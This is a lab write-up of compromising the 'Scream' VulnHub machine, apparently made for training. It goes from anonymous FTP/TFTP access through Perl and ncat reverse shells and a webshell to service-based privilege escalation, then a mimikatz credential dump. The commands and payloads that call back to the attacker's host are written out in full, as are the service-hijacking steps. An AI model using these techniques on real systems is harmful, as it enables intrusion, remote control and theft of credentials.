Port 21 (FTP+TFTP)

1. nmap detected WarFTP 1.65
    - There is a buffer overflow exploit for this version, but it does not work
2. Allows anonymous access

```
┌──(root💀kali)-[~/vulnHub/scream]
└─# ftp -nv $ip
Connected to 192.168.1.98.
220- Scream XP (SP2) FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.
ftp> user anonymous
331 Password required for anonymous
Password:
230 Logged on
Remote system type is UNIX.
ftp> dir
200 Port command successful
150 Opening data channel for directory list.
drwxr-xr-x 1 ftp ftp              0 Jan 08 01:40 bin
drwxr-xr-x 1 ftp ftp              0 Jan 08 01:43 log
drwxr-xr-x 1 ftp ftp              0 Jan 08 03:20 root
226 Transfer OK
ftp> cd log
250 CWD successful. "/log" is current directory.
ftp> ls
200 Port command successful
150 Opening data channel for directory list.
---------- 1 ftp ftp      110122387 Jan 08 03:55 access_log
---------- 1 ftp ftp       27387417 Jan 08 03:55 agent_log
---------- 1 ftp ftp              0 Jan 08 01:43 error_log
---------- 1 ftp ftp            674 Nov 01  2012 OpenTFTPServerMT.log
---------- 1 ftp ftp         130165 Jan 08 03:55 referer_log
226 Transfer OK
ftp> get access_log
local: access_log remote: access_log
200 Port command successful
550 Permission denied
ftp> put
192.168.1.98/ vulscan.txt
ftp> put vulscan.txt
local: vulscan.txt remote: vulscan.txt
200 Port command successful
550 Permission denied
ftp>
```

    - No read/write access
    - OpenTFTPServerMT could indicate that tftpd is running
3. At `/root` dir,

```
250 CWD successful. "/root" is current directory.
ftp> ls
200 Port command successful
150 Opening data channel for directory list.
drwxr-xr-x 1 ftp ftp              0 Jan 08 03:56 cgi-bin
---------- 1 ftp ftp          14539 Oct 31  2012 index.html
```

    - These files indicates that FTP is sharing its web directory files (`/root`), if we are able to put a reverse shell perl script into cgi-bin, we have rce
4. Try tftp

```
---------- 1 ftp ftp              0 Jan 08 02:42 test
226 Transfer OK
ftp>
```

```
root@kali: ~/vulnHub/scream/192.168.1.98/explo
┌──(root💀kali)-[~/vulnHub/scream/192.168.1.98/exploit]
└─# touch test
┌──(root💀kali)-[~/vulnHub/scream/192.168.1.98/exploit]
└─# tftp $ip
tftp> put test
Error code 6: File already exists
tftp>
```

    - TFTP is under `/root` directory
    - we are able to insert files
5. Upload perl webshell/reverseshell script via tftp
6. Generate perl reverse shell script
    a. Generate msfvenom payload

```
msfvenom -p cmd/windows/reverse_perl LHOST=10.2.0.3 LPORT=4444 -o shell.pl
```

b. Remove useless characters `perl -MIO -e, "", \`

```
┌──(root💀kali)-[~/vulnHub/scream/192.168.1.98/exploit]
└─# msfvenom -p cmd/windows/reverse_perl LHOST=192.168.1.1 LPORT=4444
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 144 bytes
perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"192.168.1.1:4444\");STDIN->fdopen($c,r);$~->fd
pen($c,w);system$_ while<>;"
```

c. Prepend `use IO::Socket::INET` module & change IP address

```
shell.pl
use IO::Socket::INET;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.2.0.3:4444");
    STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;
```

d. Final payload

```
use IO::Socket::INET;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.1.1:4444");STDIN-
>fdopen($c,r);$~->fdopen($c,w);system$_ while<>;
```

7. Upload perl shell via TFTP at `cgi-bin/`

```
ftp> cd cgi-bin
250 CWD successful. "/root/cgi-bin" is current directory.
ftp> ls
200 Port command successful
150 Opening data channel for directory list.
---------- 1 ftp ftp            153 Jan 08 04:08 shell3.pl
226 Transfer OK
ftp>
```

```
                                                root@kali: ~/vulnHub/screa
┌──(root💀kali)-[~/vulnHub/scream/192.168.1.98/exploit]
└─# touch test
┌──(root💀kali)-[~/vulnHub/scream/192.168.1.98/exploit]
└─# tftp $ip
tftp> put test
Error code 6: File already exists
tftp> put cgi-bin/shell3.pl
Sent 153 bytes in 0.0 seconds
tftp>
```

8. Obtain a low-priv shell by visiting `http://192.168.1.98/cgi-bin/shell3.pl`

```
┌──(root💀kali)-[~/vulnHub/scream]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.1.1] from (UNKNOWN) [192.168.1.98] 1051
dir
 Volume in drive C has no label.
 Volume Serial Number is F4B7-1143

 Directory of c:\www\root\cgi-bin

01/08/2022  04:18 AM    <DIR>          .
01/08/2022  04:18 AM    <DIR>          ..
01/08/2022  04:18 AM               143 sh3ll.pl
01/08/2022  04:18 AM               148 she11.pl
01/08/2022  04:13 AM               151 shell.pl
01/08/2022  04:16 AM               143 shell2.pl
01/08/2022  04:08 AM               153 shell3.pl
               5 File(s)            738 bytes
               2 Dir(s)   7,743,533,056 bytes free
```

9. Additional Shell, Upload webshell

```
cp /usr/share/webshell/perl/perlcmd.cgi $(pwd)/perlcmd.pl
tftp put cgi-bin/perlcmd.pl
```

```
150 Opening data channel for directory list.
---------- 1 ftp ftp           4656 Jan 08 04:22 Invoke-PowerShellTcp.ps1
---------- 1 ftp ftp            653 Jan 08 12:06 perlcmd.pl
---x--x--x 1 ftp ftp          74721 Jan 08 04:34 rev.exe
---------- 1 ftp ftp            289 Jan 08 04:41 rev.pl
---------- 1 ftp ftp            287 Jan 08 04:45 rev1.pl
---------- 1 ftp ftp            143 Jan 08 04:18 sh3ll.pl
---------- 1 ftp ftp            148 Jan 08 04:19 she11.pl
---------- 1 ftp ftp            151 Jan 08 04:13 shell.pl
---------- 1 ftp ftp            143 Jan 08 04:16 shell2.pl
---------- 1 ftp ftp            153 Jan 08 04:08 shell3.pl
226 Transfer OK
ftp>
```

10. Execute commands

```
192.168.1.98/cgi-bin/perlcmd.pl?dir
```

Menu 192.168.1.98/cgi-bin/ Speed Dial

Not secure 192.168.1.98/cgi-bin/perlcmd.pl

```
Executing: dir

Volume in drive C has no label.
Volume Serial Number is F4B7-1143

Directory of c:\www\root\cgi-bin

01/08/2022 12:06 PM

    .
    01/08/2022 12:06 PM

        ..
        01/08/2022 04:22 AM 4,656 Invoke-PowerShellTcp.ps1
        01/08/2022 12:06 PM 653 perlcmd.pl
        01/08/2022 04:34 AM 74,721 rev.exe
        01/08/2022 04:41 AM 289 rev.pl
        01/08/2022 04:45 AM 287 rev1.pl
        01/08/2022 04:18 AM 143 sh3ll.pl
        01/08/2022 04:18 AM 148 she11.pl
        01/08/2022 04:13 AM 151 shell.pl
        01/08/2022 04:16 AM 143 shell2.pl
        01/08/2022 04:08 AM 153 shell3.pl
        10 File(s) 81,344 bytes
        2 Dir(s) 7,740,768,256 bytes free
```

11. Upload ncat.exe

```
┌──(root💀kali)-[~/tools/windows-binaries/shells/ncat]
└─# file ncat.exe
ncat.exe: PE32 executable (console) Intel 80386, for MS Windows
┌──(root💀kali)-[~/tools/windows-binaries/shells/ncat]
└─# binary
binary: command not found
┌──(root💀kali)-[~/tools/windows-binaries/shells/ncat]
└─# tftp $ip
tftp> binary
tftp> put cgi-bin/ncat.exe
Sent 1667584 bytes in 1.6 seconds
tftp> ┌──(root💀kali)-[~/tools/windows-binaries/shells/ncat]
└─#
```

12. Obtain a low-priv shell

```
192.168.1.98/cgi-bin/perlcmd.pl?ncat.exe%20192.168.1.1%204444%20-e%20cmd.exe
```

```
┌──(root💀kali)-[~/tools/windows-binaries/shells/ncat]
└─# nc -nvlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.98.
Ncat: Connection from 192.168.1.98:1049.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

c:\www\root\cgi-bin>
```

Privilege Escalation to SYSTEM - 1 via RW Service

1. View current processes running as SYSTEM

```
tasklist /FI "username eq SYSTEM"
```

```
c:\www\root\cgi-bin>tasklist /FI "username eq SYSTEM"
tasklist /FI "username eq SYSTEM"

Image Name                     PID Session Name        Session#    Mem Usage
========================= ====== ================ ======== ============
System Idle Process              0 Console                    0         28 K
System                           4 Console                    0    100,160 K
smss.exe                       516 Console                    0        388 K
csrss.exe                      584 Console                    0      3,356 K
winlogon.exe                   608 Console                    0      4,576 K
services.exe                   708 Console                    0      3,148 K
lsass.exe                      720 Console                    0      5,616 K
svchost.exe                    876 Console                    0      4,624 K
svchost.exe                   1080 Console                    0     16,048 K
avgchsvx.exe                  1236 Console                    0      2,124 K
avgrsx.exe                    1244 Console                    0        984 K
avgcsrvx.exe                  1552 Console                    0     10,416 K
spoolsv.exe                   1808 Console                    0      4,432 K
logonui.exe                    248 Console                    0      3,032 K
avgwdsvc.exe                   572 Console                    0      2,368 K
FileZilla server.exe           660 Console                    0      2,800 K
FreeSSHDService.exe            832 Console                    0      3,996 K
OpenTFTPServerMT.exe          1104 Console                    0      1,812 K
```

- Take note of 3rd Party/Non-Default applications
    - FileZilla
    - FreeSSHD
    - TFTP

2. View running services

```
net start
# This is their display name, not service name
```

```
These Windows services are started:

   Application Layer Gateway Service
   AVG Free WatchDog
   Bluetooth Support Service
   COM+ Event System
   Cryptographic Services
   DCOM Server Process Launcher
   DHCP Client
   Distributed Link Tracking Client
   DNS Client
   Error Reporting Service
   Event Log
   Fast User Switching Compatibility
   FileZilla Server FTP server
   FreeSSHDService
   Help and Support
   IPSEC Services
   Logical Disk Manager
   Network Connections
   Network Location Awareness (NLA)
   Open TFTP Server, MultiThreaded
   Plug and Play
   Print Spooler
   Protected Storage
   Remote Procedure Call (RPC)
   Remote Registry
   Secondary Logon
   Security Accounts Manager
   Security Center
   Server
   Shell Hardware Detection
   SSDP Discovery Service
   System Event Notification
   System Restore Service
   Task Scheduler
   TCP/IP NetBIOS Helper
   Terminal Services
   Themes
   WebClient
   Windows Audio
   Windows Firewall/Internet Connection Sharing (ICS)
   Windows Management Instrumentation
   Windows Time
   Wireless Zero Configuration
   Workstation

The command completed successfully.
```

3. Check if you can stop the service

```
net stop "FileZilla Server FTP Server"
```

```
c:\www\root\cgi-bin>net stop "FileZilla Server FTP server"
net stop "FileZilla Server FTP server"
The FileZilla Server FTP server service is stopping.

The FileZilla Server FTP server service was stopped successfully.
```

4. Get exact name of service,

```
sc query | findstr /i "FileZilla"
sc query | findstr /i "TFTP"
sc query | findstr /i "SSHD"
```

```
c:\www\root\cgi-bin>sc query | findstr /i "FileZilla"
sc query | findstr /i "FileZilla"
SERVICE_NAME: FileZilla Server
DISPLAY_NAME: FileZilla Server FTP server

c:\www\root\cgi-bin>sc query | findstr /i "TFTP"
sc query | findstr /i "TFTP"
SERVICE_NAME: TFTPServer
DISPLAY_NAME: Open TFTP Server, MultiThreaded

c:\www\root\cgi-bin>sc query | findstr /i "SSHD"
sc query | findstr /i "SSHD"
SERVICE_NAME: FreeSSHDService
DISPLAY_NAME: FreeSSHDService
```

5. Check for user's permission on the service

```
accesschk.exe /accepteula -uwcqv alex "FileZilla Server"
accesschk.exe /accepteula -uwcqv alex "TFTPServer"
accesschk.exe /accepteula -uwcqv alex "FREESSHDService"
```

```
c:\www\root\cgi-bin>accesschk.exe /accepteula -uwcqv alex "FileZilla Server"
accesschk.exe /accepteula -uwcqv alex "FileZilla Server"
RW FileZilla Server
        SERVICE_ALL_ACCESS

c:\www\root\cgi-bin>accesschk.exe /accepteula -uwcqv alex "TFTPServer"
accesschk.exe /accepteula -uwcqv alex "TFTPServer"
RW TFTPServer
        SERVICE_ALL_ACCESS

c:\www\root\cgi-bin>accesschk.exe /accepteula -uwcqv alex "FREESSHDService"
accesschk.exe /accepteula -uwcqv alex "FREESSHDService"
RW FREESSHDService
        SERVICE_ALL_ACCESS
```

- RW, SERVICE_ALL_ACCESS

6. Display information about the service

```
sc qc "FileZilla Server"
```

```
c:\www\root\cgi-bin>sc qc "TFTPServer"
sc qc "TFTPServer"
[SC] GetServiceConfig SUCCESS

SERVICE_NAME: TFTPServer
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\OpenTFTPServer\OpenTFTPServerMT.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Open TFTP Server, MultiThreaded
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

c:\www\root\cgi-bin>sc qc "FileZilla Server
sc qc "FileZilla Server
[SC] GetServiceConfig SUCCESS

SERVICE_NAME: FileZilla Server
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\FileZilla Server\FileZilla Server.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : FileZilla Server FTP server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
```

- Since have SERVICE_ALL_ACCESS
- We can change path of `BINARY_PATH_NAME` to reverse shell.exe

7. Generate payload & Upload it to target

```
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=1337 -f exe -o rev.exe
```

8. Replace `BINARY_PATH_NAME` to our reverse shell

```
sc config "FileZilla Server" binpath= "\"C:\www\root\cgi-bin\rev.exe""
```

9. Check updated Service Configuration

```
sc qc "FileZilla Server"
```

```
c:\www\root\cgi-bin>sc qc "FileZilla Server"
sc qc "FileZilla Server"
[SC] GetServiceConfig SUCCESS

SERVICE_NAME: FileZilla Server
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\www\root\cgi-bin\rev.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : FileZilla Server FTP server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

c:\www\root\cgi-bin>
```

10. Start listener & service to obatin SYSTEM shell

```
net start "FileZilla Server FTP Server"
```

```
root@kali: ~/tools/windows-binaries/accesschk 117x52
┌──(root💀kali)-[~/tools/windows-binaries/accesschk]
└─# nc -nvlp 1337
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 192.168.1.98.
Ncat: Connection from 192.168.1.98:1042.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>tasklist /v | find "notepad.exe"
tasklist /v | find "notepad.exe"
notepad.exe                  2380 Console                    0      2,632 K Running         NT AUTHORITY\SYSTEM
                            0:00:00 Untitled - Notepad

C:\WINDOWS\system32>whoami
whoami
'whoami' is not recognized as an internal or external command,
operable program or batch file.

C:\WINDOWS\system32>echo %username%
echo %username%
%username%

C:\WINDOWS\system32>
```

Privilege Escalation to SYSTEM - 1 via RW Service Binary

1. Instead of changing the BINARY_PATH, we check if write access to the binary

2. Change back BINARY_PATH to default

```
sc config "FileZilla Server" binpath= "\"C:\Program Files\FileZilla Server\FileZilla Server.exe""
```

3. View updated service configuration

```
sc qc "FileZilla Server"
```

```
c:\www\root\cgi-bin>sc config "FileZilla Server" binpath= "\"C:\Program Files\FileZilla Server\FileZilla Server.exe""
sc config "FileZilla Server" binpath= "\"C:\Program Files\FileZilla Server\FileZilla Server.exe""
[SC] ChangeServiceConfig SUCCESS

c:\www\root\cgi-bin>sc qc "FileZilla Server"
sc qc "FileZilla Server"
[SC] GetServiceConfig SUCCESS

SERVICE_NAME: FileZilla Server
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\FileZilla Server\FileZilla Server.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : FileZilla Server FTP server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
```

4. Check if we have write access to the binary "FileZilla Server.exe"

```
accesschk.exe /accepteula alex -quvw "C:\Program Files\FileZilla Server\FileZilla Server.exe"
```

```
c:\www\root\cgi-bin>accesschk.exe /accepteula alex -quvw "C:\Program Files\FileZilla Server\FileZilla Server.exe"
accesschk.exe /accepteula alex -quvw "C:\Program Files\FileZilla Server\FileZilla Server.exe"
RW C:\Program Files\FileZilla Server\FileZilla server.exe
        FILE_ALL_ACCESS
```

- RW, FILE_ALL_ACCESS

5. Replace binary with our reverse shell

```
move "C:\Program Files\FileZilla Server\FileZilla Server.exe" "C:\Program Files\FileZilla Server\FileZilla Server.exe.bak"

copy "C:\www\root\cgi-bin\rev.exe" "C:\Program Files\FileZilla Server\FileZilla Server.exe"
```

```
c:\www\root\cgi-bin>move "C:\Program Files\FileZilla Server\FileZilla Server.exe" "C:\Program Files\FileZilla Server
FileZilla Server.exe.bak"
move "C:\Program Files\FileZilla Server\FileZilla Server.exe" "C:\Program Files\FileZilla Server\FileZilla Server.ex
.bak"

c:\www\root\cgi-bin>copy "C:\www\root\cgi-bin\rev.exe" "C:\Program Files\FileZilla Server\FileZilla Server.exe"
copy "C:\www\root\cgi-bin\rev.exe" "C:\Program Files\FileZilla Server\FileZilla Server.exe"
        1 file(s) copied.
c:\www\root\cgi-bin>dir "C:\Program Files\FileZilla Server"
dir "C:\Program Files\FileZilla Server"
 Volume in drive C has no label.
 Volume Serial Number is F4B7-1143

 Directory of C:\Program Files\FileZilla Server

01/08/2022  02:59 PM    <DIR>          .
01/08/2022  02:59 PM    <DIR>          ..
02/26/2012  10:42 PM         1,044,992 FileZilla Server Interface.exe
02/07/2013  11:10 PM               525 FileZilla Server Interface.xml
01/08/2022  02:17 PM            73,802 FileZilla Server.exe
02/26/2012  10:42 PM           632,320 FileZilla Server.exe.bak
11/01/2012  11:06 AM             5,662 FileZilla Server.xml
02/26/2012  10:42 PM            82,944 FzGSS.dll
02/23/2012  06:10 AM             1,208 legal.htm
02/26/2012  10:50 PM         1,111,040 libeay32.dll
11/06/2011  08:27 PM            18,348 license.txt
02/26/2012  10:41 PM            38,614 readme.htm
02/26/2012  10:50 PM           276,480 ssleay32.dll
01/08/2022  01:39 AM            46,930 Uninstall.exe
              12 File(s)      3,332,865 bytes
               2 Dir(s)   7,716,392,960 bytes free
```


6. Start listener & Service to obtain SYSTEM shell

```
net start "FileZilla Server FTP Server"
```

```
┌──(root💀kali)-[~/tools/windows-binaries/accesschk]
└─# nc -nvlp 1337
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 192.168.1.98.
Ncat: Connection from 192.168.1.98:1043.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>tasklist /v | find "notepad.exe"
tasklist /v | find "notepad.exe"
notepad.exe                2380 Console                    0      2,632 K Running         NT AUTHORITY\SYSTEM
                           0:00:00 Untitled - Notepad

C:\WINDOWS\system32>
```

Obtain Alex Password

1. Via mimikatz.exe
2. Upload mimikatz.exe
3. Obtain password

```
mimikatz.exe

sekurlsa::logonpasswords
```

```
c:\www\root\cgi-bin>copy \\192.168.1.1\kali\mimikatz.exe c:\www\root\cgi-bin\mimikatz.exe
copy \\192.168.1.1\kali\mimikatz.exe c:\www\root\cgi-bin\mimikatz.exe
        1 file(s) copied.

c:\www\root\cgi-bin>.\mimikatz.exe
.\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x86) #19041 Aug 10 2021 17:20:39
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # SEKURLSA::LogonPasswords

Authentication Id : 0 ; 55607 (00000000:0000d937)
Session           : Interactive from 0
User Name         : alex
Domain            : SCREAM
Logon Server      : SCREAM
Logon Time        : 1/8/2022 1:39:27 PM
SID               : S-1-5-21-1085031214-606747145-725345543-1003
        msv :
         [00000002] Primary
         * Username : alex
         * Domain   : SCREAM
         * NTLM     : 504182f8417ed8557b67e96adc8b4d04
         * SHA1     : c84389be8e78f275c4530b00ba54aea1cbd347f7
        wdigest :
         * Username : alex
         * Domain   : SCREAM
         * Password : thisisaverylongpassword
        kerberos :
         * Username : alex
         * Domain   : SCREAM
         * Password : thisisaverylongpassword
        ssp :
        credman :
```

Tags: #tcp/22-ftp/anon #tcp/22-ftp/write-access #win-priv-esc/rw-service-bin #win-priv-esc/rw-service